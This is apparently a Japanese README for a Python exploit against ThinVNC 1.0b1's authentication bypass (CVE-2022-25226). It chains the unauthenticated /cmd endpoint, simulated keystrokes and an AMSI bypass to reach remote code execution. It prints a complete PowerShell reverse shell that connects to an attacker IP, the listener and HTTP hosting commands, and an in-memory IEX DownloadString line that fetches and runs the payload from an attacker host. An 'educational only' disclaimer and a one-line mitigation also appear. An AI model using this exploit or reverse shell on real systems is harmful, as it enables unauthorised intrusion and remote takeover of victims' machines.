
Python製のエクスプロイトスクリプト。ThinVNC 1.0b1の認証バイパス(CVE-2022-25226)を利用し、未認証の/cmdエンドポイントへのアクセスとAMSIバイパス、クリップボードインジェクションを連鎖させてリバースシェルを配信します。
著者: krill-x7
参照: https://fluidattacks.com/advisories/sinatra
ThinVNC 1.0b1 には認証バイパスの脆弱性 (CVE-2022-25226) が存在し、リモートの攻撃者が認証なしでバックエンドとやり取りできるようになります。公開された /cmd エンドポイントを悪用することで、攻撃者はキーストロークのシミュレーション、PowerShell の起動、AMSI のバイパス、任意のコマンドの実行が可能となり、最終的にリモートコード実行 (RCE) に至ります。
このスクリプトはこれらのプリミティブを連鎖させて、対象システム上でリバースシェルを獲得します。
このコードは教育目的のみで提供されています。
自分が所有する、または明示的にテストを許可されたシステムでのみ使用してください。
rev.ps1python3 thinvnc_rce.py -t <TARGET_IP> -tp <TARGET_PORT> -a <ATTACKER_IP> -ap <ATTACKER_PORT>
python3 thinvnc_rce.py -t 192.168.1.100 -tp 8080 -a 192.168.1.200 -ap 8000
rev.ps1 を作成するこれを rev.ps1 という名前のファイルに保存します。
重要: 192.168.1.200 と 8000 を、攻撃者の IP と待受ポートに置き換えてください。
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.200",8000);
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535|%{0};
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);
$sendback = (iex $data 2>&1 | Out-String );
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);
$stream.Write($sendbyte,0,$sendbyte.Length);
$stream.Flush()
}
$client.Close()
rev.ps1 をホストする同じディレクトリから実行します:
python3 -m http.server 8000
nc -lvnp 8000
/cmd?cmd=connect への未認証リクエストを使用して、有効な SID を取得します。/cmd?cmd=start を介して、キーボード/マウスアクセス付きでその SID を開始します。Ctrl+Esc キーの組み合わせを送信して、スタートメニューを開きます。これはメモリ内で実行されるペイロードです:
IEX((New-Object System.Net.WebClient).DownloadString('http://<ATTACKER_IP>:<PORT>/rev.ps1'))
<ATTACKER_IP> と <PORT> を、実際の IP とポートに置き換えてください。
/cmd エンドポイントをブロックしてください。